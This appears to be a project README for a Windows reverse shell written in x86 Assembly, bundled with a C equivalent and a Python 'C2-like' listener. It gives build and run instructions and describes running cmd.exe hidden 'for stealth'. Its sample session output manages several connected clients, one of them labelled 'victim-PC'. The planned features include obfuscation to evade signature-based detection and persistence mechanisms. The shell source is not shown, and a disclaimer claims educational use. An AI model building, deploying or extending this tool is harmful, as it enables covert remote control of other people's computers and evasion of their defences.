A pure x86 Assembly reverse shell for Windows that connects to a remote listener for command execution. Uses Winsock, Windows Job Objects for process management, and redirects stdin, stdout, stderr to the socket for full interactive control. Includes a C equivalent and a Python listener for testing.
- Pure Assembly β No dependencies, fully written in x86 Assembly.
- Reverse Shell β Connects back to a remote listener.
- Interactive Shell β Redirects input, output, and error streams to the socket.
- Job Object Protection β Ensures
cmd.exe
is terminated if the connection drops. - Minimal Footprint β Small, fast, and runs without extra libraries.
- C Equivalent β 1:1 C code provided for reference.
- Python Listener β Basic C2-like listener included for testing.
- Batch Compilation β Pre-made
.bat
file for quick assembly and linking.
/x86-Assembly-ReverseShell
βββ reverse_shell.asm # Main Assembly reverse shell
βββ reverse_shell.c # 1:1 C equivalent source code
βββ requirements.txt # Listener dependencies
βββ compile.bat # Windows batch script to compile & link automatically
βββ listener.py # Python-based listener (C2-like functionality)
βββ listener_linux.py # Python-based listener for linux
βββ README.md # Project documentation
- Creates a TCP connection to
127.0.0.1:4444
(hardcoded in Assembly).- To change the IP/Port, manually modify the
sockaddr_in
structure inreverse_shell.asm
.
- To change the IP/Port, manually modify the
- Redirects stdin, stdout, stderr of
cmd.exe
to the socket. - Runs
cmd.exe
in hidden mode for stealth execution. - Uses a Windows Job Object (
JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
) to ensure process cleanup. - Communicates with the listener (
listener.py
) for remote command execution.
Ensure Python 3.x is installed.
To check, run:
python3 --version
or on Windows:
python --version
listener.py
requires colorama
for colored output and pyreadline3
(Windows only).
To install dependencies, run:
pip install -r requirements.txt
If you're on Windows, also install:
pip install pyreadline3
python3 listener.py
By default, it listens on 0.0.0.0:4444
, allowing connections from any IP.
You can customize the listener IP & port:
python3 listener.py --ip 192.168.1.100 --port 8080
Once a reverse shell connects, you'll see:
[2025-02-23 16:30:20] New connection from 192.168.1.10:50234
Simply type commands:
Shell> whoami
admin-PC\admin
Shell> dir
Volume in drive C has no label.
Directory of C:\Users\admin
Use clients
to see active sessions:
SHELL> clients
--------------------------------------------------
[0] 192.168.1.10:50234 - ACTIVE
[1] 192.168.1.12:50240 - IDLE
--------------------------------------------------
Select a client by ID:
SHELL> switch 1
[2025-02-23 16:31:10] Switched to client 192.168.1.12:50240
Client 1> whoami
victim-PC\user
Command | Description |
---|---|
clients |
Show connected clients |
switch <id> |
Switch to a specific client |
sessions |
List saved sessions |
id |
Show the current client ID |
info |
Show current client system info |
clear |
Clear the terminal |
help |
Show this help menu |
exit |
Close the current session |
A Windows batch script (compile.bat
) is included for automatic assembly and linking.
β οΈ Important:
The script requires the Microsoft Developer Command Prompt because it useslink.exe
.
If you donβt have it, you need to install Visual Studio with the MSVC toolchain.
- Open Start Menu and search for:
- Developer Command Prompt for VS (preferred)
- Or x64 Native Tools Command Prompt
- Navigate to the project folder:
cd C:\path\to\x86-Assembly-ReverseShell
- Run the compiler script:
compile.bat
nasm -f win32 reverse_shell.asm -o reverse_shell.obj
link /entry:Start /subsystem:console reverse_shell.obj kernel32.lib ws2_32.lib
π΄ If
link
is not found, use the Developer Command Prompt as explained above.
nasm -f win32 reverse_shell.asm -o reverse_shell.o
ld -o reverse_shell.exe reverse_shell.o -lkernel32 -lws2_32
π’ This method works without
link.exe
, usingmingw-w64
instead.
After compiling, execute:
reverse_shell.exe
Ensure the listener (listener.py
) is running before executing the shell.
β οΈ Disclaimer:
This project is for educational and research purposes only.
Unauthorized use on live systems is illegal. Always test in controlled environments (VMs, labs, or CTFs).
- Encrypt communication (e.g., XOR, AES).
- Obfuscate Assembly code to evade signature-based detection.
- Implement persistence mechanisms for maintaining access.
- Add support for additional platforms (Linux/macOS).
DM ceptronn
on Discord for any questions!